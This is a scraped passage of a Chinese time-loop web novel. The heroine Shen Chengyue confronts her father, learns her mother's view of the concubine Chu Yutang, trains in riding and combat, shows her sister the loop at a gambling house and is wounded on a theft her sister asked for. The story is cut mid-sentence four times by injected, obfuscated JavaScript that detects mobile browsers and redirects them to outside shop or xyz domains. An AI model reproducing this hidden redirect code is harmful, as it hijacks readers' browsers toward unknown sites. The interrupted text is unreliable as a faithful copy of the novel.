我并不总是你喜欢那个明艳骄傲的姑娘,我也曾郁郁,也曾落寞,也曾想一死了之。 “你的确变了,从前的你会心安理得地接受我的喜欢,并对此不屑一顾。” “这个……倒也不至于是不屑一顾吧。” “如果你以为我喜欢的只是那个爱出风头、走到哪里都是呼朋唤友众星拱月的沈家大小姐,那你未免把我的喜欢看得太肤浅了,”杜成玉收起手中折扇,用扇柄点了点她的额头,“今日陪了你一天,看着你赎小桃、救孩童,我不信有人可以不心动。” 沈乘月叹气:“……我做这些可不是为了让你心动的。” “对了,我现在诗兴大发,欲赋诗一首,你觉得开头用……” “告辞!” 一听他作诗,沈乘月就头疼,连忙带着小桃和彩珠,一溜小跑地没入了小巷。 杜成玉大笑起来,追在后面,目送几人安全返回府邸。 ——— 沈府,月华院。 沈乘月对镜卸了钗环,换了一身轻便的服色,看到一旁坐立不安的孙嬷嬷,顿时得意怪笑起来:“我知道你想去告状,我早有防……” 她话音未落,大丫鬟兰濯匆匆来报:“姑娘,老爷来月华院了。” “防不胜防啊……” 沈乘月无奈,她也知道从青楼带人回来的事不可能瞒得过去,要不是祖母这个时间已经睡下了,这会儿来月华院的应当不止父亲一人。 她把孙嬷嬷扣在房里,只是打算拖过今晚,没想到另有人把事情给捅出去了。 那还不如让孙嬷嬷去禀告呢,至少她一定不会忘记为自己说上几句好话。 沈乘月老气横秋地感慨:“人心不齐啊!” “……” “明明小桃回来大家都挺开心的,围着她又哭又笑的,我还看见嬷嬷你偷偷抹眼泪,”沈乘月叹气,“怎么还有人非要去告我的黑状呢?” “姑娘,家有家规。” 沈乘月其实也明白这个道理,她不可能把小桃私藏在院子里,总是要过明路的。下人隐瞒不报,若被发现了,满院子的人都要陪她担责。她自己觉得祖母和父亲都算是明理之人,不可能就此把满院的下人都发卖了,但从丫鬟小厮的角度来看,那是掌握着他们命运的家主,总要谨小慎微些。 “算了。” “姑娘……” 孙嬷嬷正要劝她去服个软,却见这厮一甩袍角,大喝一声:“来人,随我迎战!” “啊?”话本看多了吧你? 见无人响应,沈乘月只能落寞地一个人溜达出房门。 月色溶溶之下,院子中央立着一中年男子,他已经屏退了所有下人,只孤身一人候在此处。沈乘月眨了眨眼,想起自小到大,父亲从不会当着旁人的面训斥孩子,也算是给女儿留了些面子。 听到她的脚步声,男子回过头来。沈父字照夜,时任从四品中散大夫,他其实是个很儒雅的中年人,面上丝毫看不出郁郁不得志的模样。 “父亲。”沈乘月规规矩矩地行了个礼。 沈照夜蹙眉看着女儿:“听说你从青楼带了个人回来?你什么时候学会逛青楼了?” 沈乘月直视他的双眼:“我又不是咱们家第一个学会逛青楼的人。” 她的语气很平静,以至于沈父一时不敢相信自己听到了什么。 于是沈乘月乘胜追击:“你以为我不知道楚姨娘是你从青楼带回来的?要不是你带她回来,母亲也不会住进佛堂,沈瑕也不会……” 她本想说“沈瑕也不会抢走萧遇”,但她曾为这件事纠缠过、自苦过,此时若再拿出来说,连自己都觉得腻烦,便干脆住了口。 她知道自己不该以这样的语气对待长辈,但这是在循环里,明日清晨一切如新,她也想发泄一回。 沈照夜并未发怒,只是叹了口气:“你一定觉得我是个很糟糕的父亲,官途不行,后宅也一团糟。” 他若发怒,沈乘月就能顺势和他大吵一架,他语气温和,反而让她有些别扭:“我没这样说过。” “但把聿棠接回沈府,我从未后悔过。”他说。 沈乘月怔了怔,才反应过来聿棠是楚姨娘的名字。 楚聿棠,一个寓意很好的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223480|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,她的家人给她取名的时候,大概期盼着她会拥有很顺遂的一生。 沈乘月握了握拳:“不只是把她带回来吧?你还曾为她到处奔走,试图洗清她那奸臣爹的罪名!父亲,我不明白,您怎么会色令智昏到这种地步?!” 无数个循环中,她第一次说出这句话。 她眼里微微含了泪光,她对他的感情太复杂,因为在得知这些真相前,她曾经很崇敬自己的父亲。 “原来你知道。” 沈乘月承认得坦坦荡荡:“几年前,祖母骂您的时候,我偷听到的。” “……” “祖母说这件事彻底毁了您的仕途,你不到三十岁就是从四品,那时候人人都要夸你一句年轻有为,但到四十岁了还是从四品,已经没人……”这话太伤人,沈乘月迟疑着没有再说下去。 “没人再把我放在眼里了。”沈照夜却自嘲地笑了笑,接上了这句话。 沈老夫人所说,半是事实,半是气话。从四品官在京里不大不小,只不过沈照夜十几年间一无寸进,手里毫无实权,明眼人都知道是怎么回事,只是看在沈氏一族的面子上,对他仍是客客气气罢了。 “……” “乘月,很多事不是你想象得那么简单,”沈父又道,“聿棠她其实很不容易,她的父亲……” “别对我说这些!”沈乘月警惕地打断了他,“不管她有多不容易,我都不会同情她的。同情她,就是背叛我母亲!” 沈父沉默片刻:“是我对不住你母亲。” “你知道就好。” 沈照夜被抢白,闻言竟然笑了笑:“你长大了。” 沈乘月不敢置信:“……你就只说这个?” 沈父耸了耸肩,这种动作他做来竟也显得儒雅:“我有我的立场,你有你的立场,我们不必互相说服。” “……” 沈父在院中石凳上坐下,也抬手示意她入座:“现在,我们来聊聊你去逛青楼的问题。” “……我以为我们不必互相说服?” “那是刚刚的问题,现下这个问题,我要用父亲的权威来压你。” 沈乘月气得捂住脸,不想看他:“把小桃带回来,我并不觉得有错。” “但你本可以做得更稳妥。” “什么?” “那地方太危险,你不该偷溜出去,以身犯险。我知道你找了杜家成玉陪你,还好他是正人君子,但如果他不是呢?多少双眼睛看见你自愿和他一同走进青楼?万一出了什么事,你只有一张嘴,说得清吗?” 沈乘月油盐不进地一摊手:“有道理,那下次我不带上杜成玉也就是了。” “……” 16.第 16 章 沈乘月站在佛堂门口,抬眼望向两侧参天的古树。 佛堂地处深山,周遭一片宁静,人迹罕至,正是她母亲的幽居之所。 沈乘月深吸了一口气,扣响了门环。 很快有披缁削发的比丘尼开了门,认出她来,便请她进去,随后就安静走开去做自己的事了。 沈乘月也不需要有人引路,熟门熟路地找到了母亲所在的房间。 此间门窗半敞,采光很好,窗子里透过来的光映得满室明亮,却实在不能用窗明几净来形容。因为架子上、书桌上堆满了书籍,凌乱无章,地面上也几乎无处落脚,铺满写了字的宣纸。 一名素衣女子正握着书卷半倚在榻上,一只手握着笔,偶尔在书上用小字批注些什么。 沈乘月敲了敲门,她便抬头看过来,脸上未施脂粉,看起来干干净净,她并未削发,长发用一根木簪挽住,身上带着很平和的书卷气。与外人口口相传的那位因夫君宠妾灭妻而被迫离府从此以泪洗面、心如槁灰的深宅怨妇实在相去甚远。 见到女儿,她微笑着喊了声:“陶陶。” 这是沈乘月的小字,取意“且陶陶,乐尽天真”,但除了母亲,几乎没有人这样称呼她了。 “母亲,”沈乘月放下手里的食盒,“给您带了吉安斋的薄酥饼,甜口和咸口的都有。” “多谢。” 两人并不亲近,互相问了好后,一时竟然无话可说。 沈乘月垫着脚从满地宣纸中挤了进来,先到屋中佛龛旁上了一柱清香,合掌拜了一拜。 “你开始信佛了?” 沈乘月反问:“佛教可有有仇必报的教义?” “没有。” “那我且信个十之一二吧。”她坠入了循环,倒也无法全然不信。 “哪有这种信法?” 沈乘月笑了笑:“母亲,近来可好?” “还不错,你呢?” “也还不错。”不那么想寻死的日子,都算得上还不错。 “坐。” 沈乘月为难地四处打量了一下:“您这房间里,居然是有椅子的吗?” “齐民要术下面。” “齐民要术,齐民要术……”房里的书籍堪称五花八门、无所不包,沈乘月找了一圈,才从一本介绍鸟类的《禽经》边发现了这本《齐民要术》。 她拨开这叠书和下面厚厚一层写满了字的宣纸,才发现了一只承受了它本不该承受的重量的可怜木凳。 “要不我还是在门口台阶上蹲一会儿吧。” 沈乘月和母亲没什么话说,以往每次前来探望,都只是在门口站一会儿,聊上两句近况,便告辞离开。只是今日她未乘马车,靠自己爬上了山,实在有些累了。 “坐吧,塌不了。” 沈乘月局促地坐下:“我面前的莫非是个茶几?” 她抬手想帮母亲整理一下,却被阻止:“不用管,这叫乱中有序,我记得每本书的位置。” “好。” 两人都安静下来,房里只剩下书籍翻页的声音。 沈乘月看到眼前一本书封页上署名“寒书居士”四字,而她的母亲正是姓俞,名寒书,便翻开书看了看,却两眼一抹黑,什么都没看懂,只得讪讪放下。 她突发奇想:“我能借阅几本书吗?” “可以,”俞寒书点头,“但要记得还回来。” “好。”自己一觉醒来,书就自动还回来了,还挺方便的。 沈乘月就近在茶几上随手取了一本,拿在手里才发现是本《范村梅谱》,讲梅花品种和种植方式的。她倒也不挑,握在手里准备带回去翻看。 “我昨晚和父亲吵了一架。”她说。 “哦。” “……” 半晌,俞寒书才反应过来,自己也许该多问上一句:“怎么了?” “先是我做了逾矩的事,”沈乘月描述得不偏不倚,“父亲批评我的时候,我用楚姨娘的事反击了他。” “而你需要我的意见?” “我只是想,也许我可以和你聊一聊。” 我遇到了很多事,没有人可以告诉我对与错,我并不是每天都那么坚定,我也会迷茫…… “说吧。” “父亲带楚姨娘回家,是他做错了对不对?” “世事没有那么对错分明。” “……”可我只是想要一个明确的答案,告诉我该恨谁、该怪谁。 沈乘月抚着手中的书脊,母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235568|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当是个很爱惜书籍的人,虽然堆放得凌乱,但封皮整整齐齐、没有丝毫破损。 “母亲,这些年,我从不敢在你面前提起父亲,我默认您是恨着他的,可我今日想问个明白,”她鼓起了勇气,“他带楚姨娘回家,色令智昏到拿自己前途做赌去为贪官平反,气得你离家住进佛堂,您到底恨不恨他?” 俞寒书终于肯放下手中纸笔,认真看向女儿:“你这段话,弄反了因与果。” “什么?” “聿棠的父亲……” “你叫她聿棠?”沈乘月敏锐地打断了她。 “习惯了,怎么?” “……您继续。”沈乘月忽然觉得,下人们口口相传的,未必便是真相。 “聿棠的父亲,叫作楚征,曾是你父亲的老师。” “为什么我不知情?” “楚征教他的时间不长,知道的人不多,”俞寒书平静道,“所以,并不是你爹色令智昏要为奸臣平反,而是他先认识楚征,才去救了他的女儿。” “可是祖母说……”沈乘月怔了怔,才想起来祖母只说过为奸臣奔走平反这件事彻底毁了父亲的仕途,至于色令智昏,那是她自己结合下人们的流言,先入为主的判断。 “你问我恨不恨,所有人都觉得我应该恨,连你父亲也是,但其实……”俞寒书叹了口气,“你也长大了,该告诉你实情了,我嫁给你爹后,其实没几年就后悔了,他这个人愚孝、软弱、优柔寡断。但楚征倒台后,曾经的门客、弟子各奔东西,忙着撇清关系,只有你父亲坚信恩师无辜,便想尽办法为其翻案,四处奔走,赌上官途求一个公道正义,又把楚聿棠带回来照顾,这是他这辈子做过的最勇敢的一件事。所有人都觉得我该因此恨他,但正是这件事让我对他刮目相看。跳脱妻子的立场,作为一个独立的人,我是有些敬佩他的。” “……” 沈乘月没有想到会得到这样一个答案,长久以来,母亲在她心目中,都是一个被辜负、被亏欠的形象,她以为她应当会有满腹的恨意,恨父亲、恨楚姨娘,却不料母亲看待事情的视角如此不同。 这一刻,她忽然意识到,曾经的自己的确是一个被宠坏了的孩子,她既没有了解过父亲,也没有了解过母亲。 17.第 17 章 “你在看什么?”驶往城西的马车上,杜成玉探头探脑,试图看清沈乘月手中的书卷。 “范村梅谱,从母亲那里借来的,”沈乘月给他展示书封,“我想尽量今日之内把它读完。” 杜成玉一脸古怪:“你对梅花种植感兴趣?” 沈乘月摊手:“人生在于尝试嘛,说不定我就感兴趣了呢。” 她需要多挖掘一些兴趣,才能捱得过这个看不到尽头的夏天。 她突然合上书卷,杜成玉正要问“怎么”,见她起身掀开车帘,然后马车停稳,她顺势跳下了下去。 他也正要跟上,被沈乘月阻拦:“劳烦你在这里等等我,如果我一刻钟还没出来,再进去找我。” 杜成玉蹙眉:“你一个人会不会有些危险?” “所以才要你帮我兜底压阵啊,”沈乘月一笑,“多亏你了。” 杜成玉立刻被这一笑迷得神魂颠倒:“跟我客气什么?” 目送沈乘月转身离开,杜成玉翻了翻她留下那本《范村梅谱》,傻兮兮地笑了起来。 不到一刻钟,她带着小桃凯旋,眼神亮闪闪地看向他,杜成玉不解地回以微笑,他并不知道这算是某种告别。 自那一日后,她手里的书几乎每一日都在变。 她读天工开物,读梦溪笔谈,读太公兵法,读太史公记,看推恩令,看金刀计,看梃击案,看红丸案…… 不管读不读得懂,通通先看了再说。 读书的确会给人带来一些好处,她会不自觉地跟着书中所言思考,对世间万物有了些新的看法,头脑也更加明晰。 与此同时,沈乘月也没有疏于拳脚练习,她没有办法在一日之内使身体更强韧,就只能在招式上下更多功夫,强迫身体跟上脑子的反应。 久而久之,她不再满足于与熟悉的教习师父对练,因为她已经把对方的招式背得烂熟于心,便只能跑上街头随机抓个陌生贼与其对上几招。 京城贼不太多,尤其她每练几日就想换一个,只靠蹲点寻找渐渐便不够用了。沈乘月突发奇想,找了个贼人进行跟踪,小偷警惕心高,中途总是会把她甩掉,她吸取教训,断断续续跟了十几天,终于追到城门外,不料那贼人早藏了匹马在城外,一出城便翻身上马,一溜烟地跑了。 沈乘月眼睁睁地望着他的背影,被马蹄掀起的尘烟迷了眼,流下两行辛酸的泪水。 但她并不打算放弃,单你有马,难道沈府就没马不成? 她又给自己请了位马术师父。 循环让她开始不大在意伤痛,所以她表现得异常勇猛,第一天学骑马,就敢纵马加速,摔下马也就摔了,能爬起来就自己爬起来,爬不起来就躺在地上静候第二天到来。 但她毕竟也不想疼太久,所以把学马术的时间定在了夜里。 她请来的马术师父很有名,教过京城里很多少爷小姐。最开始见沈乘月时,他板着一张脸,说自己很严格,绝不会对任何娇生惯养的公子千金们嘴下留情。 只是他的铁面没能维持太久,自从教了她以后,他就变了,常常哭着求她不要作死。 度过前期常常从马背上摔下来的痛苦时光后,沈乘月很快爱上了这种肆意驰骋的感觉。 有时候听着马蹄踏在青石板路上发出的“哒哒”声,她会觉得很自由,仿佛天下无处不可去。 虽然实际上她还是被困在京城。 但马跑起来的速度总比拉着马车要快,所以她能到达更远的地方了。 沈乘月还给马厩里她常用的两匹马取了名字,一名小灰,一名小白,直到马夫欲言又止地告诉她,人家原名疾风与闪电。 学会了骑马的沈乘月很快顺藤摸瓜把贼窝摸了出来,掌握了众贼每日动向,每日换一个练手。 贼窝附近还有个土匪窝,但鉴于她只是想练武,不是想寻死,便没有主动去找土匪对练。 后来练得差不多了,就把贼窝方位捅给了五城兵马司,堪称卸磨杀驴的典范。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245136|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学了拳脚,她又开始研习刀兵功夫,太重的拿不动,便尝试了轻剑、轻弓、指间刀几类,但带着兵刃出门寻衅,太容易被巡捕拿下。虽然就算进了牢狱,第二天还是会在芙蓉纱帐中醒来,但牢房里大多有虫子和老鼠,她不大喜欢,所以勉强做了个安分守己的良民,没找到太多机会实战。 后来,她已经可以单枪匹马救出小桃了,便很久没有带彩珠出门,也没有再去找过杜成玉了。 有时候路过京城第一酒楼,她能听到二楼窗边传来的公子哥们的谈笑声,她有那么一刹那的冲动,想上去找杜成玉说说话,因为她觉得孤独。 但转念想想,既然不喜欢他,就不必再招惹了。 她轻轻拉了下缰绳,让马儿掉头走开了。 有一次,她骑着马在城中乱逛时,路过了晖园附近,与前去参加夜宴的三皇子隔着几名侍卫擦肩而过。 她隔空望了他一眼,他没有回头。 他骑马的姿势仍然很好看,身姿挺拔,如竹如松。 于是沈乘月欣赏了一会儿,挺直了自己的背脊,力求比他更加好看、更加气度不凡。 今朝已经不是她坐在马车里要等他护送回府的那一日了,虽然连沈乘月自己都说不清究竟有哪里改变了,但她已经不太想坐回那辆马车里了。 但既然其他人都没变,变了的就只能是她自己。 胭脂苑仍然是她每日的固定行程一环,每次打马而来的时候,都有很多人在看着她。 她单手握住马缰,翻身跳下,稳稳落地,一理裙角,动作干净利落,如行云流水,一气呵成。 她把小桃引到马边的时候,后者惊讶得合不拢嘴:“大小姐?这是……” 沈乘月利落上马,对小桃伸出手:“别怕,上来吧,抱着我的腰。” 然后她会带着小桃在人少的地方纵马跑上一圈,小桃很喜欢这段行程,沈乘月也挺开心,两个人大喊大叫的声音散在风里,化成时光循环里的一点美好印记。 18.第 18 章 沈府,杏园。 院子里的下人见到沈乘月,一片慌张。让沈乘月觉得自己像一只狼,忽然闯进了羊群,打搅了她们原本平静的生活。 她叹了口气:“我又不是什么洪水猛兽。” 下人们连忙行礼:“大小姐。” “沈瑕可在?” “恕小的去通报姑娘一声。” 沈乘月点了点头。 不多时,丫鬟回转:“姑娘请大小姐进去。” “带路吧。” 丫鬟便把她引进沈瑕的书房,这是沈乘月第一次踏入这里,书房布置得雅致,干净整齐,装饰不多,只墙上挂着字画。 桌上摆着一杯清茶,沈瑕抬手:“姐姐,请。” 沈乘月举杯喝了一口:“很熟悉的味道,像萧姨今年给我送的春茶。” “不过是碧螺春罢了,味道相似也是有的,”沈瑕平静地抬眸看她,“姐姐,今日怎么有空来看我?” “左右无事,来瞧瞧你,”沈乘月看向她面前墨迹未干的宣纸,“你在写什么字?生如芥子,身若微尘?” “没什么。”沈瑕抬手取过一张空白的宣纸盖在墨迹之上。 明明沈乘月是第一次来看她,但两个人都若无其事,仿佛这件事常常发生,没什么好在意的。 “近来可好?”沈乘月主动挑起话头。 “挺好的,姐姐你呢?” “还不错,吃得好睡得香。” 沈乘月微垂眸饮茶的时候,察觉到一道锋锐的视线划过自己,带点探究的味道,但她抬头看去时,入眼的只是沈瑕清清浅浅的微笑。 她取出一只精致的木盒子放在桌上,推给对面的二妹妹:“送你的,有事要与你商量。” 沈瑕打开盒子,秀气的眉轻轻一挑:“姐姐最宝贵的玉镯,居然舍得?看来你这件事,一定很重要。” 沈乘月笑了笑:“你是我身边最聪明的人之一了,也许和你谈一谈,能得到些新的思路。” “不敢当,姐姐请讲。” “我陷入了时间循环,”沈乘月也不啰嗦,开口直入主题,“每一天都是同一天,我已经过了无数遍七月初六。” “哦?还有这种事?” 她明明不信,却也不反驳。 沈乘月也懒得戳穿她:“先随我来,不必带丫鬟。” “我不带下人,姐姐也不带?” “嗯。” “好。” “你倒是信任我。” “我自然是信得过姐姐的,”沈瑕随她行至院中,回身吩咐众人,“我随姐姐出去一趟,你们不必跟来。” 在下人神色各异的应声中,沈乘月倚在门边看着她笑。 “姐姐笑什么?” “就是觉得挺有意思的,”沈乘月拉过她,“这边。” 两人一道前往沈府侧门,沈乘月示意沈瑕看向回廊:“待会儿会有一名小厮从这里经过,手里的木桶摔落,里面是用冰湃着的果子,两个侍卫会看过去,蓝色头巾的会嘟囔一句怎么这么不小心,然后过去帮他拾起果子,捡起其中一只桃子,在衣摆上擦一擦,咬上一口。” 沈瑕也不多问,只安静地陪她胡闹:“我记住了。” “三、二、一,”沈乘月抬手一指,仿佛木偶戏开场,所有人开始随她声音而动,“小厮,木桶,果子,侍卫,嘟囔,桃子……” 沈瑕有些发怔,又被她一扯:“好了,我们该溜了。” 两人出了侧门,门外巷子里已经停好一辆马车,沈乘月担心带沈瑕骑马的话,她会疑心自己要趁机谋害她。 沈瑕登上马车时,沈乘月很自然地抬手去扶了一把。习惯真的是一件很可怕的东西,循环当中,她不知扶了小桃上车多少次,又有多少次伸出手拉其上马,以至于现在看到沈瑕穿着长裙不太方便,她就会下意识伸手。 她自己没觉得有什么不对,倒是沈瑕动作微顿,看了她一眼。 马车上,沈乘月与二妹搭话:“我突然想起来,这好像是我们两个第一次一起出门。” “第二次。” “什么?” “你七岁,我五岁的时候,一起去过舅舅家。” “我不记得了。”沈乘月前十几年都在热闹中度过,呼朋引伴出门游玩的次数太多,她确实已经记不清七岁时的某一次出游了。 “姐姐贵人多忘事。” 两人没再交谈,直至马车停在了闹市当中,沈瑕掀开车帘看了一眼目的地:“兴隆赌坊?” “请。”沈乘月当先踏入赌坊大门,沈瑕落后一步,给自己佩上面纱,只留一双眼眸在外,才跟上了长姐的步子。 沈乘月非常自然地凑到了骰子桌前,还招呼沈瑕过来,后者已经明白了她的目的,看了一眼桌边大呼小叫的赌徒们,站在原地不肯动:“我在这里能看到。” 沈乘月眼神扫过桌面和周遭几人的神色,已经记起了这是哪一局:“这一局骰子点数,左边三、五、六,右边二、四、五,左胜。” 骰子正要开盅,沈瑕眼神盯住台面,三、五、六,二、四、五,与沈乘月所说无异。 沈乘月又在她耳边轻声道:“白胡子叹气,蓝衣服骂街,大小眼摔了酒杯,赌坊的人以为他要闹事,会过来盯着他。” 她每句话话音未落,就有人做出相应的动作。沈瑕却不看他们,只微眯双眼,观察着沈乘月的表情,似乎想确认这并非她所设的局。 “下一局,左边五、五、六,右边三、五、六,仍是左胜。” 沈瑕看着骰盅看出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14254184|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果,抬手一指另一张人少些的桌子:“去那边。” “好。” 牌九桌前,沈瑕开口问:“谁胜?” “红六点加红三点,庄家胜。” 沈瑕顺手跟押了五两银子,随着预测再一次被验证,她抬手收回了赢来的十两,放进了自己的荷包。 “不错,”她抬手又指了一桌,“试试六博。” “好。”沈乘月堕落的那段时光里,早把这些东西都玩了个遍,别说沈瑕问输赢,就是问某张桌旁负责发牌的伙计左颊那颗痣上生了几根毛,她都能对答如流。 好在沈瑕没有这方面的趣味,结果再一次被验证后,她抬手阻止了要走向下一桌的沈乘月:“我握住的是什么筹码?” “……”沈乘月低头看了看她那双握成拳的纤纤素手,叹了口气,“忘了告诉你,这是你第一次随我出来,这场对话对我而言也挺新鲜的。” 沈瑕摊开手,给沈乘月看自己掌心的木棍,这间赌坊正是以木棍长短来代表筹码大小:“没关系,下一次你就知道了。” “肯信我了?” “我自然相信姐姐。” “我开始理解那些喜欢你的人了,和你来往的确如沐春风,”沈乘月笑着拍了拍她的肩,“前提是不知道你在装样子的话。” 循环当中,沈乘月识人的本事已经长进了不少,此时却仍看不出她口中的相信是真心还是假意。 沈瑕的笑容完美得无懈可击:“姐姐何出此言?” 沈乘月直接无视了这句反问:“你有什么思路?” “我需要想一想,”沈瑕把手中的筹码抛回桌面,“姐姐你陷入循环多久了?” 沈乘月沧桑望天:“摩挲素月,人间俯仰已千年。” 沈瑕面上终于浮现一丝波澜:“你循环了一千年?” “那倒不是,”沈乘月耸肩,“只是我最近在读诗,这样随口引用会显得我很有诗词修养。” “……”终于连一直神色淡淡、波澜不惊的沈瑕都被她折腾得进入了无言以对的状态。 沈乘月无辜地与她对视。 沈瑕定了定神:“我最喜欢杏花,因为我母亲喜欢。” “什么?” “不必每次都带我来赌坊,给我演示这么久,下次告诉我这句话,我就信你。” 沈乘月竖了个拇指:“我真喜欢和聪明人交谈。” “而聪明人认为,时间重置之后,你那玉镯自动收回去,这可是无本的买卖。” “我保证,结束循环之后,你想要什么首饰都可以。” “我不要首饰,”沈瑕想了想,“我想换一种报酬。” “你说。” 沈瑕笑吟吟地看着她:“我希望姐姐能帮我偷一件东西。” 19.第 19 章 孙嬷嬷脚步匆匆地从侧门离开沈府,她是管事嬷嬷,时常要出门办事,侍卫不会盘问她。 看到门外停留的马车,她走上前敲了敲车壁:“姑娘,到了门口怎地不回去?反而让人喊老奴出来?” “你先上车。”沈乘月的声音从马车里传出来。 孙嬷嬷掀开车帘,立刻嗅到了一阵血腥气,心头一跳:“姑娘?你受伤了?” 沈乘月倚在车壁上,右手按着侧腹部:“嗯,受了点伤,不严重,你别担心。” “怎么回事?!” “沈瑕让我帮个忙,去她外祖父楚征府上偷一样东西,”沈乘月苦笑,“是我托大了,原以为一座废弃宅邸,就算有人看守,也不会太过认真。” 孙嬷嬷吃了一惊:“姑娘您怎么能掺和这种事?” “因为我不总是理智的,我偶尔也会做一些坏决定,”沈乘月耸肩,“再加上沈瑕的语气太真诚,而我恰巧又有那么一点好奇心。” “……偷什么东西?” “她母亲曾经与其他人的来往书信,沈瑕说她太过思念母亲,想取来留个念想。” “可是……楚姨娘的笔迹,沈府里还留着不少,二小姐为什么偏偏要姑娘去偷楚征府里那一份?” “不知道,我看起来像是很了解她的样子吗?”沈乘月叹气,“我甚至不知道她所言有几分真几分假。” “那您就敢应承下来?”孙嬷嬷的声音都被气得变了调。 “因为我的生活实在有些无趣,”沈乘月笑了起来,“而沈瑕的的确确是个聪明人,听了我的话,第一时间就想到要反过来利用我。” 她笑着笑着忽然咳了起来,抬手用手帕掩唇的一霎,孙嬷嬷眼尖地注意到雪白绢丝的帕子上染了一抹刺眼的红。 孙嬷嬷惊慌起来:“真的只是一点小伤?” “……” 见她不说话,孙嬷嬷越加慌乱:“姑娘?我这就去叫大夫!” “我看过大夫了,别担心,”沈乘月柔声安抚着她的情绪,“嬷嬷,我有一事相求,确切地说是两件事。” “……姑娘何必用上一个‘求’字?您说便是。” “第一件,小桃被她爹娘卖进了胭脂苑,我需要你帮忙去把她赎出来。” “什么?” “事后你禀告祖母也好,父亲也罢,挨罚由我一个人顶着,但你今天一定要把她带回来。” 这交待后事一般的语气让孙嬷嬷起了疑心,她刚刚因楚征之事太过震惊,此时勉强定了定神,仔细端详沈乘月,见其面色苍白,连双唇都没了血色,明显是失血过多的模样。 “不行!大小姐,您必须立刻去看大夫!” 沈乘月耍无赖:“你不去救小桃,我就不看大夫。” “你……” “放心,我已经看过大夫了,不骗你,我自己难道不知道害怕吗?”沈乘月笑了笑,“对了,我让你带的纸笔带来了吗?” 孙嬷嬷把纸笔递过去,心乱如麻,还待再劝。忽听她又道:“嬷嬷,我这辈子就求过你这么一件事……” “好好好,老奴这就去!” 孙嬷嬷一向最心疼大小姐,实在拿她没办法,连忙吩咐车夫驾车,一边担心马车驶得快了颠到沈乘月的伤口,一边又担心驶得慢了延误了伤情,心下矛盾不已。 待到了胭脂苑,沈乘月给了嬷嬷几张银票:“老鸨可能会说谎,小桃在二楼南侧最角落的房间,一刻钟、不,半刻钟你没出来,我就进去找你。” “好。” “别怕,我来给你压阵兜底。” “我办事姑娘放心。”孙嬷嬷点了点头,带着银票匆匆踏进了胭脂苑红红粉粉的大门。 沈乘月这才掀开衣襟,看了一眼自己的伤口,血迹正不断向外漫延,把绷带和里衣都染透了。 “混账!下次不帮你了!”她龇牙咧嘴地痛骂了沈瑕一句,有点想哭,但眼下情况没给她留下哭泣的时间。 她的手已经开始发颤,连忙又从袖中摸出一只药瓶,打开瓶口,倒出几丸药。她从楚征府上逃出来后,摸到某条小巷子一家无牌匾的医馆里找了个大夫,对方看过她的伤口,很快摇了摇头:“姑娘,这伤口太深,我怕是治不好,我先给您简单包扎一下,您……撑着再找别的大夫看看?” 沈乘月有些害怕,怕到耳边都是心脏狂跳的隆隆声,但并不影响脑子飞速运转,给出了一个对策:“我只需要活到明早日出,您有没有法子?” “可以用虎狼之药吊命,但……”大夫不忍地摇了摇头,“姑娘,您再去看看别的大夫吧,万一能治好呢?” “我若找别的大夫,他们会不会报官?” “会,您这一看就是刀伤,也就我这儿无、咳……小本经营不会报官,但他们会先给您疗伤再报官啊,”大夫苦口婆心,“平常只有亡命之徒才来我这儿看诊,但姑娘你年纪轻轻,大好年华,去坐牢总比丢了命强啊!” “他们有多大可能治好我?”沈乘月问。 大夫很想把这种烫手山芋甩给别人,但看她年轻,到底动了些恻隐之心,如实答道:“可能……不大,但总比必死的虎狼之药来得强。” “我还有事要做,给我虎狼之药吊命!” “姑娘,吊命也未必便能撑到日出,我最多能保证五个时辰。” “……” 沈乘月瞪大眼睛,心脏有一瞬间的停跳,她还不想死,也不能死。 面前只有两条路,活下来的希望都不大。 